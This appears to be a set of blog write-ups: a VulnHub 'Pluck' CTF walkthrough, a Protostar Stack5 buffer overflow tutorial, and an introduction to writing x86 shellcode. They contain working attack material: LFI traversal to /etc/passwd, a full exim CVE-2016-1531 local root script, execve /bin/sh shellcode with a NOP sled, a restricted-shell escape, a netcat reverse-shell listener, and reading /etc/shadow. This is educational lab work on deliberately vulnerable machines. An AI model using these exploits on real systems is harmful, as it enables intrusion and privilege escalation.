CTF – Pluck

What do you need?

Pluck .OVA: https://www.vulnhub.com/entry/pluck-1,178/
Virtual Environment: VirtualBox or VMWare
Attack machine, such as: Kali Linux


Walkthrough!

1) Pluck was kind enough to give us the IP address at the login screen. In my case it was 192.168.1.115. I have a VirtualBox “DHCP server” (VirtualBox > Preferences > Network > Host-only) set up to issue out an IP to both the Pluck VM and my attack machine using the Host only adapter. On my attack machine a quick “ifconfig” reveals that I have an IP of 192.168.1.3 with a subnet mask of 255.255.255.0. For good practice, I performed an ARP scan against the network address with the correct CIDR notation just to be be sure:

root@kali:# arp-scan 192.168.1.0/24

Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.1.1 0a:00:27:00:00:01 (Unknown)
192.168.1.2 08:00:27:c9:86:b4 CADMUS COMPUTER SYSTEMS
192.168.1.115 08:00:27:45:29:54 CADMUS COMPUTER SYSTEMS

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 1.875 seconds (136.53 hosts/sec). 3 responded

As expected, the IP address of interest is confirmed to be 192.168.1.115.

2) Next I ran an aggressive NMAP scan against the target. The -A does OS and version detection, the -T5 is the speed (T1 being slow and stealthy while T5 would be the fastest and loudest), and -p- is to check all ports and not just the top 1000.

root@kali:# nmap -T5 -A -p- 192.168.1.115

The following were the results of the scan:


Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-03 17:11 EDT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.115
Host is up (0.00041s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|_ 256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open mysql MySQL (unauthorized)
5355/tcp open llmnr?
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.41 ms 192.168.1.115

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 120.34 seconds

Seeing that there’s an Apache server running on port 80 I decided to fire up Firefox to check out the website. After spending around 10 minutes scrubbing the various source pages I saw that the Admin page appeared to be vulnerable to SQL injection in the E-mail field. An apostraphe seemed to break it but it wasn’t receptive to any of my other attempts. I spent a while looking at SQLi CheatSheets but eventually decided to move on after burning for about an hour and a break.

3) After a break and feeling like I’ve exhausted all of my manual SQLi methods I wanted to give Nikto a chance to find something vulnerable:

root@kali:# nikto -h 192.168.1.115
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.115
+ Target Hostname: 192.168.1.115
+ Target Port: 80
+ Start Time: 2017-06-03 17:13:56 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /index.php?page=../../../../../../../../../../etc/passwd: The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)
+ OSVDB-29786: /admin.php?en_log_id=0&action=config: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-29786: /admin.php?en_log_id=0&action=users: EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This PHP file should be protected.
+ OSVDB-3092: /admin.php: This might be interesting...
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4 0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time: 2017-06-03 17:14:07 (GMT-4) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

4) LFI? Great! Let’s give it a shot. Local File Inclusion is the ability for us to potentially traverse the server just like we do in linux. The reason we’re able to do this is because the file index.php is not correctly sanitized as it allows us to change page=X to page=../../. Because these characters aren’t blocked we’re able to move “up” in the directory hierarchy as if we’re on a linux machine. Nikto was even kind enough to give us an example for the traversal to /etc/passwd in the results:

root@kali:# curl http://192.168.1.115/index.php?page=../../../../../../../../../../etc/passwd

5) Perfect! Scrubbing down the usernames the first thing I look for is anyone who has an interesting group (root, wheel, etc.) or a login shell. The user backup-user sticks out like a sore thumb with his shell being /usr/local/scripts/backup.sh and paul’s being /usr/bin/pdmenu. Because I don’t have a shell yet, I can’t really explore paul yet so I decided to pursue backup-user. Using our convinient LFI vulnerability I decided to use that to pull that bash file mentioned in backup-users shell in the passwd file:

root@kali:# curl http://192.168.1.115/index.php?page=/usr/local/scripts/backup.sh

This script is very interesting because it’s used to create a backup.tar of /home and /var/www/html so we can “get it VIA TFTP”. TFTP is a UDP protocol on port 69. It’s like FTP but doesn’t require authentication. Immediately I started a UDP scan in the background (nmap -sU 192.168.1.115) to see if there was anything else that I could’ve missed besides TFTP. Nothing else was of interest. However, knowing that TFTP is used we can use it ourselves to download that backup file!

root@kali:# tftp 192.168.1.115
tftp> get backup.tar

Awesome! Let’s extract is with:

root@kali:# tar xvf backup.tar

6) As expected we were given the /home directory and the /var/www/html directories from the victim machine. Because I was burning with SQLi earlier on the admin page (admin.php) I wanted to see what was going on so I browsed the /var/www/html directory and looked at the source of admin.php


if(strpos($_POST['email'], '\'') !== false) {
echo "<strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1</strong>";
}else{
echo "<strong>Incorrect Username or Password!</strong>";
}

Oh…that’s dirty. It was a troll SQL error that was checking to see if the email field contained an apostraphe. If it did, it gave off a fake error saying “You have an error in your SQL syntax; check the manual…..etc” error.

7) Continuing on, I always like to see if there’s anything in anyones home directory such as command history in their .bash_history, any other hidden files/hints, or saved SSH keys. Lucky enough, after exploring for a bit I found a folder conveniently named  keys in paul’s home folder.

root@kali:# cd /home/paul/keys

-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key1
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key1.pub
-rwxrwxr-x 1 1002 1002 672 Jan 18 13:08 id_key2
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key2.pub
-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key3
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key3.pub
-rwxrwxr-x 1 1002 1002 1679 Jan 18 13:09 id_key4
-rwxrwxr-x 1 1002 1002 392 Jan 18 13:09 id_key4.pub
-rwxrwxr-x 1 1002 1002 668 Jan 18 13:08 id_key5
-rwxrwxr-x 1 1002 1002 600 Jan 18 13:08 id_key5.pub
-rwxrwxr-x 1 1002 1002 1675 Jan 18 13:09 id_key6
-rwxrwxr-x 1 1002 1002 392 Jan 18 13:09 id_key6.pub

To be honest I tried every one of these manually and found out that id_key4 is the one we’re looking for. Just to play around with some scripting I decided to write a bash file that goes through each key until no password is asked.

#!/bin/bash
FILES=/root/home/paul/keys/*
for f in $FILES
do
echo "Attempting the following key: $f"
ssh -i $f paul@192.168.1.115 -o PasswordAuthentication=no
done

After saving this as war.sh, chmod +x war.sh, and executing it (./war.sh) it blasts through the logins until it finally gets a shell. This probably wasn’t the best way to code this but it was the quickest way I could think of to try multiple SSH keys in a directory until one succeeded.

8) After getting a successful login with the id_key4 SSH key, we’re prompted with this full screen menu called pdmenu. It literally is a menu that’s designed for inexperienced linux users. An admin could simply write a few different menu items to automate help desk functions on a linux box to prevent them from breaking the actual linux server/client. Lucky for him, we’re here to break it.

Screen Shot 2017-06-03 at 5.47.38 PM

Here’s a list of a few ways that I found to break out of this PDMenu and get a shell:

Edit file menu

  • Using a semi-colon (;) followed by a command to perform single commands, example:
; id
; cat /etc/passwd
  • Using perl (I tried python first but got an error) to execute a shell. After doing this Vim will open up the editor. Typing in: “:q!” will allow you to exit out of Vim and then you’ll be prompted with the perl shell::
; perl -e 'exec("/bin/bash")'
  • Using Change Directory to change to: /tmp, then going to Edit File and creating a php shell, then using the LFI from earlier to invoke (Firefox http://192.168.1.115/index.php?page=/tmp/shell.php) the PHP file after we have a listener (nc -lvp 5999) running on our attack machine
  • In “Edit File”, use whatever you want for the file name. Once you’re in, on the command line (just hitting colon, 🙂 type “set shell=/bin/sh” without the quotation marks and hit enter. Next, go back into the command line and just type shell followed by hitting enter.

Here’s a really good read on some other ways to escape out of a restricted shell: https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

9) Great, so we have a shell! The next stage is priveleage escalation, because with a quick id command we can see that we’re not root and the flag is in /root. A quick ls -la /root command confirms this lack of permission. The key here is to find any kind of ‘low hanging fruit’ to take advantage of. For me I take this as any clues for files sitting around the system. Typically .bash_history’s in the home folders for users or any notes. I explored the system for a good while and didn’t find anything that stuck out to me until I decided to run a command to show me all of the files on the system that are ran with the SETUID bit enabled.

*Note: SETUID allows files to be read/written/executed by normal users to perform a task requiring elevated permissions for just that file. A good example is ping. If you do an ls -la /bin/ping you can see that it’s highlighted red (if you’re using a /bin/bash shell and not a /bin/sh) and has RWS for the owner permissions (the first 3 permissions in RWSR-X-R-X) as opposed to just RWX. The S means that the SETUID bit was enabled for that particular permission; in our case this is execute. Even though this file is owned by root the RWS means that ANY user can execute this program as if they were root.

Let’s search for other files on the system like this:

paul@pluck:# find / -perm /6000 2>/dev/null | more

10) The previous command will find and files in the root (/) directory with the permissions (-perm) of 4000 or 2000 (/6000). 4000 means the SETUID was enabled, and 2000 means that the SETGID was enabled. Appending the forward slash will perform an “or” search for either of those, whereas a -4000 would only return SETUID permission enabled files. The “2>/dev/null” means we want to output any STDERR’s to the /dev/null. Ultimately this means we don’t want to get spammed with a bunch of errors.  The /dev/null file is simply a garbage can for any input we don’t want in order to suppress/clean up an output of a command. Lastly, piping this into the more command will make the results easier to go through after the command executes. Without it we’d have to just simply scroll back up in our terminal to see the first results.


/run/log/journal
/run/log/journal/325440f2d6ab4a72a46acdb221aeef2f
/usr/exim/bin/exim-4.84-7
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/crontab

------snip------

11) The third result is /usr/exim/bin/exim-4.84-7. Exim is a MTA (Mail Transfer Agent) that is used to handle mail. A quick google search of Exim-4.84-7 immediately comes back with exploits. The first result for me was https://www.exploit-db.com/exploits/39535/ which is CVE-2016-1531.

This is an extremely simple exploit. It’s creating a multi-lined file called root.pm in the TMP directory. The command cat > xyz << EOF is a simple way to write multiple lines to a file. It will start writing at line 16 and stop writing to that file when it hits the EOF statement on line 22. A PM is a PERL module for the exim MTA. The first part of the exploit created a root.pm that simply spawns a /bin/sh. In order to get exim to actually run this module (with root privileges from SUID discovered earlier), we have to force PERL to look in the /tmp directory for its module(s) where we created the root.pm file in this exploit. This is done on line 23 by changing PERL's environmental variables. PERL5LIB is set to /tmp, and PERL5OPT-Mroot is accessing the module root.pm in the /tmp directory. Next we force start the exim service with /usr/exim/bin/exim -ps, where -ps simply is the perl_startup argument. Let's go ahead and re-create this exploit as a bash script:

paul@pluck:# vim /tmp/war.sh

#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
# ===============================================
# you can write files as root or force a perl module to
# load by manipulating the perl environment and running
# exim with the "perl_startup" arguement -ps. 
#
# e.g.
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh 
# [ CVE-2016-1531 local root exploit
# sh-4.3# id
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
# 
# -- Hacker Fantastic 
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

Great, to write this file simply do :wq!

Now to run our exploit! First we need to give it executable permissions, chmod +x /tmp/war.sh, then we execute it with /tmp/war.sh. Let's clean up our root shell by using /bin/bash:

Screen Shot 2017-06-03 at 6.03.20 PM.png

Next we cd to /root and cat the flag.txt:

Screen Shot 2017-06-03 at 6.02.02 PM.png


Additional ways to CTF/root the box

Dirty cow: https://dirtycow.ninja

  • Somehow get the exploit over to the host machine since it’s a locally ran one. For example, you could host a web server on the attack machine and wget it on the victim machine once you have a shell. This is an exploit that’s been around for a while but

Final thoughts

This was a great machine that I had a ton of fun with. The fictitious SQL error really threw me for a bit. It was nice being able to run into something new with the PDMenu as well. Thank you very much Ryan Oberto for creating this VM and VulnHub.com for hosting it. If you haven’t checked out VulnHub yet you really missing out. The guys over there such as g0tmilk, rasta_mouse, and NullMode really have something amazing going on over there. There’s various types of machines with a large range of difficulties. Thank you for taking the time to read this, if you have any suggestions or comments please feel free to post them here!

Walkthrough – Protostar Stack5

Overview:

In Protostar’s Stack5 challenge, we will actually perform a buffer overflow with shell code! And to change things up, there’s no more variables!


What do you need?

Download Protostar: https://exploit-exercises.com/download/
Stack 5 Source: https://exploit-exercises.com/protostar/stack5/
Kali VM (Optional): https://www.kali.org/downloads/


Before you start!

Prior to starting this I want to mention that there are some easier ways, and methods, to solve this challenge. The first worth mentioning would be to enable core dumps. However, this would require us to be root or know the root password. Enabling core dumps would allow us to analyze the state of the program as it crashed in GDB because it ‘snapshots’ the stack/registers into a core dump file in /tmp. Like I mentioned though, this would require us to know the root password because we need to set the /proc/sys/fs/suid_dumpable bit to 2. For this walkthrough I’m going to continue on like I have previously as if we do NOT know the root password, therfore not doing this. I just wanted to share this information with you! However, if you wanted to give it a try, the root password is godemode. Also, the stack’s have the SETUID enabled to root. This allows us to execute it, but in the end it’s still owned by root. One thing you can do to experiment with the difference of memory alignment inside and outside of GDB is to copy stack5 into TMP by using:

brandon@warhable:# cp /opt/protostar/bin/stack5 /tmp/stack5

Now what you’ll be able to do is view the program in GDB like normal, but also run the program and attach the PID to GDB. Run the program with no parameters, the program will await input. In another terminal (putty session in our case), you’ll use ps to find stack5. GDB allows you to attach a PID’s ID number to it:

brandon@warhable:# ps aux | grep stack5
brandon@warhable:# gdb -p <PID>

Another thing to keep in mind is that the stack memory alignment may change due to a magnitude of things. Within GDB the memory address will be different due to GDB incorporting its own environmental variables (LINES and COLUMNS). In this tutorial I’ll take you through how to deal with fluctuation memory address locations by utilizing something called a NOP sled.


Walkthrough

1) CD into the directory so our PWD (present working directory).

brandon@warhable:# cd /opt/protostar/bin

2) Lets load up GDB with stack5 and take a look at how it reacts to some input. First I always like to set my assembler output to Intel because I feel that it’s cleaner. Next we look for a good spot to place a break-point after our input is placed on the stack. In this case it’ll be right before the leave instruction.

brandon@warhable:# gdb opt/protostar/bin/stack5
brandon@warhable:# set disassembly-flavor intel
brandon@warhable:# disas main
brandon@warhable:# break *main+21

2) Now let’s go ahead and run this program within GDB. After running it we’ll have to supply some input since this is using the gets function. The only way around this would be for us to append a file into the stream (run < /tmp/file.txt). Since we haven’t created a file to work with lets just go ahead and manually supply some input (I like to use a recognizable pattern of 20 capital A’s).

brandon@warhable:# run
brandon@warhable:# AAAAAAAAAAAAAAAAAAAA

3) Next we look at the stack to orientate ourselves.

brandon@warhable:# x/40wx $esp

(make note of where the buffer starts, where the 0x41’s begin) Buffer starts: 0xbffff770

5-step3

4)

brandon@warhable:# x/2wx $ebp

5-step4

(make note of the RET memory address – the first one is the saved EBP and the second one will ALWAYS be the return address) Return memory address: 0xbffff7bc

5) Calculate the difference to see how many bytes we must overwrite the buffer with to lead up to the RET address for the overwrite

brandon@warhable:# p/d 0xbffff7bc - 0xbffff770

76 bytes

6) Next we want to build our payload. This time, and unlike previous examples, we’re going to build our payload using python and save it into an actual file. This will make it easier to make adjustments later. The idea behind the methodology of what we’ll do is that we want to place our shell code AFTER the return address. Then, change the return address to point at where that shell code begins (4 bytes after return). To try and illustrate this, the following image lays out the memory address locations for the information we’re concerned with at the moment. It gives us the visual representation of Stack5’s stack frame. Again, these are the memory address locations of ESP/where the buffer starts/EBP/and the return address, not the contents!

5-stack1

We see the memory address for ESP, where the buffer begins (we got this from making note of where the A’s started earlier), the memory address location for EBP, and the memory location for RET (both EBP and RET came from x/2wx $ebp earlier). Remember, these are the memory address locations and NOT the contents of any register/value. The objective of this challenge is to change the flow of the program. As each instruction and piece of code inside the stack frame is executed, it is slowly removed from the stack. Eventually as it shifts towards the end of the stack frame the old EBP will be on top of the stack. This will “POP” the entire stack frame off of the stack. Next, EIP will look at 0xbffff7bc for where to go next in the program. The flow will continue at THAT memory address. We want to overwrite RET with the memory address immediately following it. So 0xbffff7bc+4 , which comes out to: 0xbffff7c0

brandon@warhable:# vim /tmp/stack5.py
import struct
padding = "\x41" * 76
eip = struct.pack("I", 0xbffff7c0)
payload = "\xCC"
print padding+eip+payload
brandon@warhable:# :wq!
brandon@warhable:# python stack5.py > stack5.txt

5-step6

7) Let’s test our payload within GDB

brandon@warhable:# gdb /opt/protostar/bin/stack5
brandon@warhable:# set disassembly-flavor intel
brandon@warhable:# disas main
brandon@warhable:# break *main+21
brandon@warhable:# run < /tmp/stack5.txt
brandon@warhable:# x/40wx $esp

5-step7

Notice that our stack is filled with 0x4141414141. At memory address 0xbffff7bc (the RET address) we see the value 0xbffff7c0 stored. This is the memory address location of ret+4. This is also where our “shell code” begins! So RET will return to 0xbffff7c0, and if we look at 0xbffff7c0 we see 0xcccccccc.

brandon@warhable:# c

5-step7b

Program received signal SIGTRAP, Trace/breakpoint trap. Great! This means that we have successfully overwritten the return address and furthermore were able to re-direct the program flow to the very next memory address location after the return address to our int3 breakpoints (0xcccccccc). While this doesn’t seem very useful now what it’s building up to is the idea that we can replace the int3’s with some sort of arbitrary shell code.

8) Let’s try it outside of GDB now to see if everything is working!

brandon@warhable:# q
brandon@warhable:# (python /tmp/stack5.py) | /opt/protostar/bin/stack5

5-step8

Illegal instruction? What, why?

9) Because of environmental variables and quite possibly some other things, the memory layout within GDB is slightly different than outside. It’s not 400 bytes worth of a difference, but it’s enough to where we’re not able to pin point exactly where memory addresses are. To counteract this we’re going to utilize an approach called a NOP Sled. NOP stands for No operation. A NOP means when the program flow hits it, continue on to the next instruction and ignore this. So, if we create a large amount of NOP’s, lets say 100, and we change the value of return to be in the middle of those, that should give us enough padding to shift into the shell code. This is where Python becomes handy. We can add 20 bytes (just a random number to put us somewhere within the NOP’s since memory addresses are changing) and add 100 bytes worth of NOP’s immediately after return but before our shell code. Let’s edit our file:

brandon@warhable:# vim /tmp/stack5.py
import struct
padding = "\x41" * 76
eip = struct.pack("I", 0xbffff7c0 + 20)
nopsled = "\x90" * 100
payload = "\xCC" * 4
print padding+eip+nopsled+payload

5-step9

10) Great! Now lets try it again

brandon@warhable:# (python /tmp/stack5.py) | /opt/protostar/bin/stack5

5-step10

Trace/breakpoint trap Perfect! Now lets use some actual shell code

11) At this point we’ve successfully smashed the stack. We broke the program, controlled return, and were able to execute arbitrary code. However, to take a step further, we’re going to head over to shell-storm.org and use some shell code. Here you’ll find a variety of shell codes for many different platforms. You’ll notice that a lot of the shell codes have different goals. I’d like to utilize a simple shell code that executes /bin/sh in hopes to give us a root shell. For this we’ll use Hamza Megahed’s 23 byte execve /bin/sh shellcode: http://shell-storm.org/shellcode/files/shellcode-827.php To use this we’ll simply replace our int’s (0xcc) with the shell code. It’s as simple as this right now because we’re not placing our shell code in the main stack frame. If we were, we’d have to start calculating the length of everything to keep our numbers in check. Currently our entire payload is 76 bytes of padding, 4 bytes for the return address, 100 bytes for the NOP sled, and finally 23 bytes for the shell code.

import struct
padding = "\x41" * 76
eip = struct.pack("I", 0xbffff7c0+20)
nopsled = "\x90" * 100
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding+eip+nopsled+payload

12) lets try it out!

brandon@warhable:# (python /tmp/stack5.py) | /opt/protostar/bin/stack5

Nothing seemed to happen? Lets make a txt payload so we can load it up in GDB and see whats happening

brandon@warhable:# python /tmp/stack5.py > /tmp/stack5.txt

13) Let’s go ahead and set up GDB and load up the text file from the previous step:

brandon@warhable:# gdb /opt/protostar/bin/stack5
brandon@warhable:# break *main+21
brandon@warhable:# run < /tmp/stack5.txt
brandon@warhable:# x/40wx esp

5-step13

We see our 41’s, our RET is set to 0xbffff7d4 (because of 0xbffff7c0 + 20), and a ton of NOP’s (0x90’s). Everything looks right

Let’s make our lives easier and debug this step by step

brandon@warhable:# define hook-stop
brandon@warhable:# x/20i $eip
brandon@warhable:# end
brandon@warhable:# si 

Keep hitting enter, you’ll repeat the same command. the convenience of the hook-stop is that it executes x/20i $eip at each one of these breakpoints we hit. It seems like we reach our shell code. Let’s keep going!

5-step13b

Executing new program: /bin/dash

Wait, /bin/dash? By default /bin/sh is linking to /bin/dash, so this okay. Well, it seems like everything’s working.

explain how adding ; cat will pipe it in, keeping the stream open allowing us to interact with the shell

14) lets try it out

brandon@warhable:# (python /tmp/stack5.py ; cat) | /opt/protostar/bin/stack5
brandon@warhable:# id

5-step14

uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

EUID = root, BOOM! We got a successful /bin/sh shell with root privileges. Lets do something that only root can do, dumping the hashes of all of the passwords in the shadow file:

brandon@warhable:# cat /etc/shadow

Assembly – Our first program (Linux x86)

Overview:

Protestor’s Stack5 challenge inspired me to do a write-up on ultimately writing our own shell code. Whenever I’ve seen write-ups that involve shell code it typically results in the author re-directing the reader to a website filled with shell codes. I’d like to take a different approach by writing our own assembly code and extract the shell code from it.


What do you need?

Download Protostar: https://exploit-exercises.com/download/


Before you start!

We’ve moved past the first few challenges and now there’s no more secret (or hidden) functions/variables to control the flow to or any variables like we were able to with the others. The previous challenges have built up to this moment: a full on buffer overflow with arbitrary code execution. Somehow we need to know what shell code is, how we get it into the program, and mostly how to get the program to execute it.

I will be using assembly to generate a simple program that will be examined and converted into shell code. The assembly can be anything from printing out “Hello World” to escalating privelages as root for a /bin/sh (giving a non-privelaged user root access). In this writeup we’re going to look at the most basic assembly program I can think of; a program that starts and then exits gracefully. There won’t be any fancy bells and whistles with this one. This is simply just to get a basic understanding of what assembly looks like and how  a few instructions work together.


Reading material/references!

Before I start I wanted to share some great references that I want to put out in the beginning. You can check these out before or after continuing. I’ll try to explain everything the best I can as I go along if you choose to continue. However, below are some really great tutorials, videos, and explanations that are worth checking out.

Exploit-DB – Introduction to Writing Shellcode
Here’s a great introduction to shellcode that explains alot of what we’ll talk about shortly.
Link: https://www.exploit-db.com/papers/13224/

Introductory Intel x86: Architecture, Assembly, Applications, & Alliteration
Xeno Kovah has an amazing series on Intel’s x86 assembly (scroll down for the videos).
Link: http://www.opensecuritytraining.info/IntroX86.html

WikiBook – Interfacing with Linux
This page has a good layout of how Syscalls are made conventionally (Syscall # into eax, param 1 into ebx, param 2 into ecx, etc).
Link: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux


Walkthrough

What is shell code you may ask? Shell code is a collection of operation codes that provide the machine language instructions to the CPU. So far we’ve discussed Python and C, but not quite assembly yet. First let’s take a look at a simple program written in assembly that simply just exits:

1) First lets go ahead and type out the assembly instructions. We’re going to create a test.s file. The .s means that it’s a source file:

brandon@warhable:# vim /tmp/test.s
.globl _start

_start:
    xor %eax, %eax
    movb $1, %al
    xor %ebx,%ebx
    int $0x80

fd3511606e5917ff90f6800116c5ed3b

Wait, what? What’s happening? Don’t panic! Let’s break it down starting with the uppermost XOR instruction (xor %eax, %eax):

1) XOR, exclusive or, means that only ONE bit can be set but not both at the same time (hence it being exclusive)! If this condition is true then the result will be a 1, otherwise it will be 0.  This means it takes two values and compares them to one another. As long as they are two different values (but NOT the same) the result will be 1. Because of this, using XOR on the same register for the two arguments will always result in a 0. For example, if you were to XOR the number 5 with the number 5 you would get 0.

A simple visualization of XOR:

First value (A) Second value (B) A XOR B result
0 0 0
1 0 1
0 1 1
1 1 0

***Notice how when both A and B equal 1 the result is 0? Because NEITHER of them are exclusive, thus resulting in 0!***

  • The reason this is being done is to clear any value(s) that may be stored within EAX or to just get a zero into a register. Processing speed is faster by  XOR’ing EAX with itself rather than moving (mov) a zero into EAX. Lastly, when writing shell code you want to avoid nulls at all costs. XOR’ing the registers is one step in the right direction to assist in avoiding those crippling zeros.

2) Next we move in 1 byte into EAX. You’ll notice though that we used AL though. Why the number 1 and why into AL instead of EAX? What in the world is AL? First let’s address the value of 1 by looking at a file that contains all of the system calls and what they are:

  • Question 1: Why the number 1?
    – While it would be easy to explain why let me show you why by looking at the unistd.h file in the /usr/local/asm directory:

    brandon@warhable:# cd /usr/local/asm
    brandon@warhable:# cat unistd.h

    assembly01-2a
    – This file seems to be a good start. This file appears be a director that looks if you’re asking to use sys calls for 32-bit or 64-bit. We’ll stick with 32-bit so lets look at the unistd_32.h file.

    brandon@warhable:# cat unistd_32.h | more

    assembly01-2b
    – As expected, #define __NR_exit can be called by the system call number 1. So that’s where the number 1 comes from! This is a great file to reference for any system call that may be in question.

  • Question 2: Why put the 1 into EAX (AL)?
    – The reason we load the syscall into EAX is because of convention. In the links above the standard calling convention can be found in the Wiki’s that I linked! On the other hand, the reason we use AL though is because we don’t want any zero’s. Let’s break this down: EAX is 32-bits (4 bytes) long. AX is the bottom 16-bits (2 bytes) of EAX. AL is the bottom 8-bits (1 byte) of AX. AH is the upper 8-bits (1 byte) of AX. One byte = 8-bits. This can be understood easier with an illustration:

registers

(Image from http://www.programming.msjc.edu)
  • The reason we move our value of 1 into AL and not EAX is because we don’t want any zero’s. A one in hex, in its smallest form, can be represented with one byte; 0x01. This means we use up all of the space of AL (since its only one byte in length) thus not allowing the system to add any zero’s to fill space to compensate for any empty bytes. If we tried to load a one (0x01) into EAX it would be 0x00000001. That’s 3 bytes worth of zero’s and one byte for our value of 1. The key to writing working shell code is to avoid zero’s (and bad characters – but this is for a later discussion).

3) Again we see XOR being used, but this time against EBX. This is to get a zero loaded into EBX. This is the return code for exit. Doesn’t this look or sound familiar (for any of those that have seen some programming code before)?

  • In the Java programming language:
    System.exit(0);
  • In the PHP programming language:
    exit(0);
  • And in the Python programming language:
    sys.exit(0)

4) Finally int $0x80 is called which is a system interrupt. It’s the instruction that we use to invoke system calls. This is what’s used to make system calls to the kernel by other applications in the system. This is where our money is made and the reason we did everything above. First, the syscall value (0x01, which is for exit) was placed into EAX. The return code for exit is 0 and the value is held by EBX. Exit with a parameter of 0 means that the program terminated successfully where a 1 would typically indicate an unsuccessful termination. Finally the $0x80 interrupt is called to notify the kernel that the system wants to make a call. In our case this call would be exit(0). It’s also worth noting that using int $0x80 is a legacy way of performing system calls. Syscall (64-bit) and sysenter (32-bit) are more practical today (Thanks Jester! – see credits).

5) Now that we understand what’s going on, let’s test out the program. So far you should have a test.s file in your /tmp directory with the above assembly written in it. Be sure you double check it to make sure there’s no mistakes in your code.

  • First we must assemble the code into an object file. Right now our .s is our code written in assembly, which contains the assembly instructions to the processor. We need to compile these instructions into an actual object (hence the .o extension):
brandon@warhable:# as test.s -o test.o
  • The last step in compiling our assembly is to link the output from the previous step (object file) into an executable file test)
brandon@warhable:# ld test.o -o test
  • Let’s run our program now! Nothing spectacular is going to happen because it simply exits. But the idea behind this exercise was to become comfortable with seeing assembly!
brandon@warhable:# ./test

5) Now that we wrote our program in assembly, compiled it, and tested it, let’s take a look at how to generate shell code for it:

brandon@warhable:# objdump -d test
  • Starting from the far left is the Address column, followed by op codes (or the machine code), and then the assembly. In order to generate shell code from this all we need to do is extract the op codes in order. So for our exit program, the shell code would be:
0x31\xc0\xb0\x01\x31\xdb\xcd\x80

6) While our program doesn’t seem very useful at the moment, it’s a great introduction to assembly. A lot of buffer overflow tutorials just teach you to go to a website and copy and paste a shell code and use it. There’s never really an explanation as to what shell code is or how it was generated. Now that you’ve seen how an exit is performed in assembly I challenge you to write your own Hello World program in assembly. The choice is ultimately to you. I’ll provide a link later that has numerous shell codes available for many environments. This are great to use when in a hurry or stumped. However, just know that there’s plenty of malicious shell code floating around that doesn’t do exactly as it advertises. Understanding how assembly/shell code should flow will greatly help you in disassembling shell codes and ultimately assembling your own!

Where can I get even more shell codes from?

Shell-storm
As promised here’s widely trusted resource that has a ton of shell codes available for many different environments. While it’s convenient to use these be sure that you understand them as well!
Link: http://shell-storm.org/shellcode/

Credits and special thanks:

Jester01 – Thank you very much for proof-reading this and making some subtle corrections. I really wanted to drive some points home but mostly I wanted to do it correctly. Thanks for helping me out!

yrp – I don’t even know where to start. I’ve been pestering you and the crew in #corelan for a few weeks now. I’ve learned a ton from you and others since I’ve been there though! Thanks for always answering me questions and helping me out when I’ve been stuck.

Walkthrough – Protostar Stack4

Overview:

